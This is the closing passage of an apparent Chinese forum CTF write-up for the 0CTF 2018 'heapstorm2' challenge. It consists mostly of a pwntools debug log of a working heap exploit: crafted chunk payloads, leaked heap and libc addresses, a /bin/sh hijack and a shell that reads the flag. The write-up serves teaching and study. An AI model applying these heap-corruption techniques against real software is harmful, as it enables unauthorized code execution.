    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 5 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1272\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x4f8 bytes:
    00000000  68 68 68 68  68 68 68 68  68 68 68 68  68 68 68 68  │hhhh│hhhh│hhhh│hhhh│
    *
    000004f0  00 05 00 00  00 00 00 00                            │····│····││
    000004f8
[DEBUG] Received 0x10 bytes:
    'Chunk 4 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 6 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 1 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '12\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0xc bytes:
    'h' * 0xc
[DEBUG] Received 0x10 bytes:
    'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 1 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1240\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 7 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 1 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 2 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '56\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 1 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1256\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 4 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '12\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0xc bytes:
    'h' * 0xc
[DEBUG] Received 0x10 bytes:
    'Chunk 3 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 4 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1240\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 8 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 4 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '5\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 5 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '72\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 4 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 2 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1256\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x10 bytes:
    'Chunk 2 Deleted\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '7\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '48\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x30 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  f1 04 00 00  00 00 00 00  │····│····│····│····│
    00000020  00 00 00 00  00 00 00 00  e0 07 37 13  00 00 00 00  │····│····│··7·│····│
    00000030
[DEBUG] Received 0x10 bytes:
    'Chunk 7 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '8\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '80\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x50 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000020  00 00 00 00  00 00 00 00  e1 04 00 00  00 00 00 00  │····│····│····│····│
    00000030  00 00 00 00  00 00 00 00  e8 07 37 13  00 00 00 00  │····│····│··7·│····│
    00000040  00 00 00 00  00 00 00 00  c3 07 37 13  00 00 00 00  │····│····│··7·│····│
    00000050
[DEBUG] Received 0x10 bytes:
    'Chunk 8 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '72\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '56\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x38 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000020  00 00 00 00  00 00 00 00  31 73 37 13  00 00 00 00  │····│····│1s7·│····│
    00000030  00 08 37 13  00 00 00 00                            │··7·│····││
    00000038
[DEBUG] Received 0x10 bytes:
    'Chunk 2 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '64\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x40 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  31 73 37 13  00 00 00 00  │····│····│1s7·│····│
    00000020  00 08 37 13  00 00 00 00  00 10 00 00  00 00 00 00  │··7·│····│····│····│
    00000030  e3 07 37 13  00 00 00 00  08 00 00 00  00 00 00 00  │··7·│····│····│····│
    00000040
[DEBUG] Received 0x10 bytes:
    'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xa bytes:
    'Chunk[1]: '
[DEBUG] Received 0x42 bytes:
    00000000  60 40 2f 97  25 56 00 00  0a 31 2e 20  41 6c 6c 6f  │`@/·│%V··│·1. │Allo│
    00000010  63 61 74 65  0a 32 2e 20  55 70 64 61  74 65 0a 33  │cate│·2. │Upda│te·3│
    00000020  2e 20 44 65  6c 65 74 65  0a 34 2e 20  56 69 65 77  │. De│lete│·4. │View│
    00000030  0a 35 2e 20  45 78 69 74  0a 43 6f 6d  6d 61 6e 64  │·5. │Exit│·Com│mand│
    00000040  3a 20                                               │: │
    00000042
heap: 5625972f4060
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '64\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x40 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  31 73 37 13  00 00 00 00  │····│····│1s7·│····│
    00000020  00 08 37 13  00 00 00 00  00 10 00 00  00 00 00 00  │··7·│····│····│····│
    00000030  70 40 2f 97  25 56 00 00  08 00 00 00  00 00 00 00  │p@/·│%V··│····│····│
    00000040
[DEBUG] Received 0x10 bytes:
    'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xa bytes:
    'Chunk[1]: '
[DEBUG] Received 0x42 bytes:
    00000000  58 cb 14 2e  7a 7f 00 00  0a 31 2e 20  41 6c 6c 6f  │X··.│z···│·1. │Allo│
    00000010  63 61 74 65  0a 32 2e 20  55 70 64 61  74 65 0a 33  │cate│·2. │Upda│te·3│
    00000020  2e 20 44 65  6c 65 74 65  0a 34 2e 20  56 69 65 77  │. De│lete│·4. │View│
    00000030  0a 35 2e 20  45 78 69 74  0a 43 6f 6d  6d 61 6e 64  │·5. │Exit│·Com│mand│
    00000040  3a 20                                               │: │
    00000042
libc_base: 7f7a2ddb3000
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '88\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x58 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  31 73 37 13  00 00 00 00  │····│····│1s7·│····│
    00000020  00 08 37 13  00 00 00 00  00 10 00 00  00 00 00 00  │··7·│····│····│····│
    00000030  88 e7 14 2e  7a 7f 00 00  00 01 00 00  00 00 00 00  │···.│z···│····│····│
    00000040  50 08 37 13  00 00 00 00  00 01 00 00  00 00 00 00  │P·7·│····│····│····│
    00000050  2f 62 69 6e  2f 73 68 00                            │/bin│/sh·││
    00000058
[DEBUG] Received 0x10 bytes:
    'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x2 bytes:
    '8\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x8 bytes:
    00000000  80 24 df 2d  7a 7f 00 00                            │·$·-│z···││
    00000008
[DEBUG] Received 0x10 bytes:
    'Chunk 1 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[*] Switching to interactive mode
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x17 bytes:
    'flag\n'
    'heapstorm2\n'
    'pow.py\n'
flag
heapstorm2
pow.py
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x4b bytes:
    'flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}\n'
flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0xb bytes:
    'heapstorm2\n'
heapstorm2
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x17 bytes:
    'flag\n'
    'heapstorm2\n'
    'pow.py\n'
flag
heapstorm2
pow.py

flag

图片描述

参考资料

https://gist.github.com/Jackyxty/9de01a0bdfe5fb6d0b40fe066f059fa3

 

https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md

 

我的i64文件
首发于公众号ChaMd5安全团队
个人blog:eternalsakura13.com



[招聘]欢迎市场人员加入看雪学院团队!

最后于 2019-2-2 14:29 被kanxue编辑 ,原因:
最新回复 (1)
BuleHacker 2019-5-22 14:36
2
0
可以的老哥
游客
登录 | 注册 方可回帖
返回